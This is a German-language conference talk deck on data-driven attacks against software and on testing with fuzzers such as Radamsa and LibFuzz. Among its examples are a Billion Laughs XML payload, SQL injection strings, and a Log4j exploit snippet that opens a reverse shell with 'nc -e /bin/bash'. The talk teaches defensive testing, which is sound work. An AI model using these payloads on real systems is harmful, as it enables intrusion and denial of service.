Datengetriebene Angriffe gegen Software – Wie testet man das?

René 'Lynx' Pfeiffer

DeepSec GmbH

DeepSec Logo

Linuxwochen Eisenstadt 2022 (8. April 2022)

Software Development

Software Development

  • viele Komponenten (Frameworks & Bibliotheken)
  • stark vernetzte Applikationen
  • Datenkonvertierung, -speicherung und -zugriff
  • verschiedene Platformen (Betriebssysteme & Run-Time Umgebungen)

Information Security

Information Security Kernkonzepte

  • Threat Modelling – Wogegen muss man sich verteidigen?
  • Compartmentalization – Analog zu Brandschutztüren.
  • Inspection – Niemals black boxes verwenden.
  • Logging – Relevante Informationen für forensische Zwecke sicher speichern.

Wie verbindet man Sicherheit und Software Development?

Secure Coding

Secure Coding

  • Programmiertechniken zur Vermeidung von (Sicherheits)Fehlern
  • Defensive Programming
  • Checklisten und Patterns
  • Erfordert security mindset

Beispiele: Security Bugs in Aktion

XML Billion Laughs Attack

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
                  

Integer Overflow / Wraparound

                  
int value = Integer.MAX_VALUE-1;
for(int i = 0; i < 4; i++, value++) {
    System.out.println(value);
}
                  
                  
2147483646
2147483647
-2147483648
-2147483647
                  
                  

SQL Injection

or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin’--
admin’ #
1234 ‘ AND 1=0 UNION ALL SELECT ‘admin’,
admin”) or (“1”=“1”#
…
                  

Zeichenkodierungen

normale Sonderzeichen äöüáàâéèêøæß
Unicode Tabellen: Ἰοὺ ἰού· τὰ πάντʼ ἂν ἐξήκοι σαφῆ.
पशुपतिरपि तान्यहानि कृच्छ्राद्
子曰:「學而時習之,不亦說乎?有朋自遠方來,不亦樂乎?
بِسْمِ ٱللّٰهِ ٱلرَّحْمـَبنِ ٱلرَّحِيمِ
וַיַּ֧רְא אֱלֹהִ֛ים אֶת־הָא֖וֹר כִּי־ט֑וֹב וַיַּבְדֵּ֣ל אֱלֹהִ֔ים בֵּ֥ין הָא֖וֹר וּבֵ֥ין הַחֹֽשֶׁךְ
Emoticons & Symbole: 🙃🙂😇😷🧐😭😖
🥶🥵😵‍💫😎🙈🙉🙊💣
💨👌🤙🧠🤰💇🚣🤼‍♀️🦄
🐉🧅🥑🍱🫐🍅🍐🍏🍎🥦🥐🧀🍔
                

Browser verwenden Unicode; Liste aller Symbole. MySQL/MariaDB kodiert in UTF-8 nur maximal 3 Byte pro Zeichen (utf8mb3). Emoticons benötigen aber 4 Bytes. Dafür ist die Kodierung utf8mb4 notwendig.

Log4j Attacke (CVE-2021-44228)

java_payload = ("""
	public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.6.20.239 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
""")
                

Java Code wird an einen Log4j Server gesendet. Dort wird der Code wirksam. (Quelle)

Aufbau von Software

Daten, Ebenen und Funktionen

Kernkonzept: Data Validation

  • „falsche“ Daten sind häufig Teil von Angriffen via Sicherheitslücken
  • Prüfen von Daten und Formaten leicht bis schwierig
  • Überprüfen von Inhalten in allen Schritten notwendig
    • Funktionen und Members
    • Backendsysteme (Services, LDAP, Datenbanken, Syscalls, …)
    • Aufruf von Komponenten
  • interne Schnittstellen werden oft vergessen

Beispielcode: HTTP Requests

                
$type   = $_POST['Type'];
$node   = $_POST['Node'];
$secret = $_POST['Secret'];
$tstamp = $_POST['Timestamp'];
                
                
                
$type   = filter_input(INPUT_POST,'Type',FILTER_SANITIZE_STRING);
$node   = filter_input(INPUT_POST,'Node',FILTER_SANITIZE_STRING);
$secret = filter_input(INPUT_POST,'Secret',FILTER_SANITIZE_STRING);
$tstamp = filter_input(INPUT_POST,'Timestamp',FILTER_VALIDATE_INT);
                
                

Beispielcode: Extractor

Extractor - Version V0.11 (built Tue Apr  5 23:39:17 2022)

Command line options for extractor tool:
  -c [ --config ] arg     Configuration file to be used.
  --data arg              Data point for telemetry request.
  --datafile arg          Data file with data points for telemetry request.
  -d [ --debug ] arg (=0) Set debug level of the code.
  -h [ --help ]           Show a short help message with explanations 
                          (hopefully).
  -i [ --ipv6 ] arg (=0)  Use IPv6 network address.
  -q [ --quiet ] arg (=1) Be quiet.
  -t [ --target ] arg     Log target (which is a log file).
  --telemetry arg (=0)    This is a telemetry message (1).
  --telemetrylabel arg    Label for telemetry data.
  --telemetrytype arg     Type for telemetry data.
  -T [ --type ] arg       Target type.
  -v [ --version ]        Show version information.
                

Beispielcode: Extractor

                
popt::options_description desc("Command line options for extractor tool");
desc.add_options()
    ("config,c", popt::value<string>(&opt_config), "Configuration file to be used.")
    ("data", popt::value<string>(&opt_data), "Data point for telemetry request.")
    ("datafile", popt::value<string>(&opt_data_file), "Data file with data points for telemetry request.")
    ("debug,d", popt::value<unsigned int>(&opt_debug)->default_value(0), "Set debug level of the code.")
    ("help,h", "Show a short help message with explanations (hopefully).")
    ("ipv6,i", popt::value<unsigned short>(&opt_ipv6_int)->default_value(0), "Use IPv6 network address.")
    ("quiet,q", popt::value<unsigned short>(&opt_quiet_int)->default_value(1), "Be quiet.")
    ("target,t", popt::value<string>(&opt_target), "Log target (which is a log file).")
    ("telemetry", popt::value<unsigned short>(&opt_telemetry_int)->default_value(0), "This is a telemetry message (1).")
    ("telemetrylabel", popt::value<string>(&opt_telemetry_label), "Label for telemetry data.")
    ("telemetrytype", popt::value<string>(&opt_telemetry_type), "Type for telemetry data.")
    ("type,T", popt::value<string>(&opt_type), "Target type.")
    ("version,v", "Show version information.")
;
                
                

extractor -c /etc/e.config --telemetry 1 --data 37 --telemetrytype integer --telemetrylabel cputemp

extractor -c /etc/e.config --telemetry 1 --data 37°C --telemetrytype integer --telemetrylabel cputemp

extractor -c /etc/🦄.config --telemetry 𝟭𝟬𝟬 --data 37,0°C --telemetrytype 𝚒𝚗𝚝𝚎𝚐𝚎𝚛 --telemetrylabel ɪɴᴛᴇɢᴇʀ

Extractor Datenformate

  • -c – String (Dateinamen mit/ohne Pfad)
  • --data - String (String, Integer, Float)
  • --datafile - String (Dateiname mit/ohne Pfad)
  • --ipv6 – Integer (0 / nicht 0, Boolean)
  • --quiet – Integer (0 / nicht 0, Boolean)
  • --target - String (Dateinamen mit/ohne Pfad)
  • --telemetry – Integer (0 / nicht 0, Boolean)
  • --telemetrylabel - String
  • --telemetrytype - String (integer/float/string)

Kommandozeile, URL mit Parametern oder Funktionsaufruf gleichwertig.

Testen von Software

  • Datenvalidierung benötigt Kontext
  • Testen ist durch Phantasie der Tester beschränkt
  • Bibliothek mit bekannten „guten“ und „schlechten“ Daten
  • Generatoren / Frameworks

Radamsa

  • Radamsa ist ein Testdatengenerator / Fuzzer
  • generiert Daten ohne Kenntnis von Kontext
  • verschiedene Generatoren und Permutatoren
  • einstellbarer Seed, um Testfälle nachvollziehbar zu halten
  • Daten können auf Basis von Vorlagen variiert werden

Radamsa Beispiele

Aufruf: echo "1 + (2 + (3 + 4))" | radamsa -n 10

-4817705447921281647289603721 + (683 + (3 + (3 + 4))
1 + (18446744073709551619 + (15010233000119520852066371 + 32766))󠁠
128󠀠1647289603721 + (683 + (3 + 4))
128164-821497475366420)
-821497475366420)
1 + (💩256 + (3 + 4))
1 + (2 + (3 + 34028236692���0938463463374607431768211460))
1 + (125 + (18446744073709551492 + (3 + 4)))
30117331676090787 + (2 + (3 + (3 + 4))
0 + (2 + (3 + (2 + (3 + (3 + 4))��(
340282366920938463463374607431768211457 + (2 + (4 + -1))
                

Test: echo "1 + (2 + (3 + 4))" | radamsa -n 10 | bc

Radamsa Beispiele mit Streams

  • gzip -c /bin/bash | radamsa -n 1000 | gzip -d > /dev/null
  • einzeln:
    • gzip -c /bin/bash > sample.gz
    • while true; do radamsa sample.gz | gzip -d > /dev/null; done
  • radamsa test.json | jq
    {
      "test": "test",
      "array": [
        "item1: foo",
        "item2: bar"
      ]
    }
                        
  • radamsa -o 127.0.0.1:8080 http-request.txt
    GET / HTTP/1.1
    Host: localhost:8080
    User-Agent: test
    Accept: */*
                        

LibFuzz

  • LibFuzz testet Funktionen (C/C++)
  • Bibliothek wird von LLVM (Clang Compiler) SanitizerCoverage Framework verwendet
  • LibFuzz dient als Markierung von Funktionen für LLVM Fuzzer
  • leicht in den Code einzubauen
  • verwendbar mit anderen Frameworks

LLVM Sanitizer Einbettung

  • Clang hat Code Analyse Module (Sanitizer)
  • AddressSanitizer
  • DataFlowSanitizer
  • Fuzzer
  • LeakSanitizer
  • MemorySanitizer
  • UndefinedBehaviorSanitizer

Clang hat auch eine minimale Runtime, um zur Laufzeit undefiniertes Verhalten zu detektieren. LibFuzz wird per Fuzzer Sanitizer damit verbunden.

LibFuzz Fuzz Targets

                
// fuzz_API.cpp
extern "C" int LLVMFuzzerTestOneInput (const uint8_t *Data, size_t Size ) {
  DoSomethingWithMyAPI( Data, Size );
  return 0; // Non-zero return values are reserved for future use.
}
                
                

Das Fuzz Target bekommt einen Array von Bytes, die an weitere Funktionen geschickt werden können. Die Funktion ist ein Wrapper. Im Fuzz Target muss mit den Bytes im Array aus den Parametern gearbeitet werden.

LibFuzz mit libpcre Target

                
// Copyright 2016 Google Inc. All Rights Reserved.
// Licensed under the Apache License, Version 2.0 (the "License");

#include 
#include "pcre2posix.h"

using std::string;

extern "C" int LLVMFuzzerTestOneInput(const unsigned char *data, size_t size) {
  if (size < 1) return 0;
  regex_t preg;
  string str(reinterpret_cast(data), size);
  string pat(str);
  int flags = data[size/2] - 'a';  // Make it 0 when the byte is 'a'.
  if (0 == regcomp(&preg, pat.c_str(), flags)) {
    regmatch_t pmatch[5];
    regexec(&preg, str.c_str(), 5, pmatch, 0);
    regfree(&preg);
  }
  return 0;
}
                
                

LibFuzz mit libpcre Target - Testlauf

==28520==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1 at 0x6040000a2a4f thread T0
    #0 0x585630 in match src/pcre2_match.c:5968:11
    #1 0x5496d1 in pcre2_match_8 src/pcre2_match.c:6876:8
    #2 0x59b498 in regexec src/pcre2posix.c:291:6
    #3 0x4f0359 in LLVMFuzzerTestOneInput

==28522==ERROR: AddressSanitizer: heap-use-after-free
READ of size 1 at 0x61100009144b thread T0
    #0 0x58550a in match src/pcre2_match.c:1426:16
    #1 0x574752 in match src/pcre2_match.c:5145:11
    #2 0x573efc in match src/pcre2_match.c:3607:11
    #3 0x5496d1 in pcre2_match_8 src/pcre2_match.c:6876:8
    #4 0x59b498 in regexec src/pcre2posix.c:291:6
    #5 0x4f0359 in LLVMFuzzerTestOneInput
                

Zusammenfassung

  • Software Tests müssen ungültige Eingabedaten enthalten
  • geeignete Funktionen und Frameworks verwenden, um viele Code Pfade zu erfassen
  • Automatisierung unbedingt notwendig
  • getesteter Code darf nie Kontrolle verlieren
    • Abstürze (undefined behaviour) leicht zu finden
    • Manipulation von Daten darf nie passieren
    • Ausgabedaten müssen definiert sein/bleiben
  • Fuzzing Frameworks entdecken schwer zu findende Fehler
  • Einsatz in allen Programmiersprachen möglich

Fragen?

Weiterführende Quellen

Kontakt

  • Email: rpfeiffer@deepsec.net
  • PGP/GPG: 0x518A0576C3A9FF76
    FP: AE26 3866 FB54 4A5E 0BE5 AD90 8531 093E 6E40 37AF
  • Mobile: +43.676.5626390 (Signal available)
  • GSMK Cryptophone™: +807 949 050 59
  • Threema: 7U6X9E5W

About the Author

René „Lynx“ Pfeiffer was born in the year of Atari's founding and the release of the game Pong. Since his early youth he started taking things apart to see how they work. He couldn't even pass construction sites without looking for electrical wires that might seem interesting. The interest in computing began when his grandfather bought him a 4-bit microcontroller with 256 byte RAM and a 4096 byte operating system, forcing him to learn Texas Instruments TMS 1600 assembler before any other programming language.

After finishing school he went to university in order to study physics. He then collected experiences with a C64, a C128, two Commodore Amigas, DEC's Ultrix, OpenVMS and finally GNU/Linux on a PC in 1997. He is using Linux since this day and still likes to take things apart und put them together again. Freedom of tinkering brought him close to the Free Software movement, where he puts some effort into the right to understand how things work – which he still does.

René is a senior systems administrator, a lecturer at the University of Applied Sciences Technikum Wien and FH Burgenland, and a senior security consultant. He uses all the skills in order to develop security architectures, maintain/improve IT infrastructure, test applications, and to analyse security-related attributes of applications, networks (wired/wireless, components), (cryptographic algorithms), protocols, servers, cloud platforms, and more indicators of modern life. SEC4YOU Advanced IT Services GmbH benefits from his experience. If you are interested in putting your security to the test, please let us know.

Über die DeepSec Konferenz

Die DeepSec GmbH veranstaltet seit 2007 jährlich im November die DeepSec In-Depth Security Conference in Wien. Die DeepSec bringt als neutrale Plattform die Sicherheitsexperten aus allen Bereichen zum Gedanken- und Erfahrungsaustausch zusammen. Dort erhalten IT- und Security- Unternehmen, Anwender, Behördenvertreter, Forscher und die Hacker- Community in über 42 Vorträgen und zweitägigen Trainings die Chance, sich über die aktuellen und zukünftigen Sicherheitsthemen auszutauschen. Die Konferenz möchte insbesondere dem weit verbreiteten Vorurteil entgegen wirken, dass Hacker, Studierende sowie Sicherheitsexpertinnen zwangsläufig Kriminelle sind.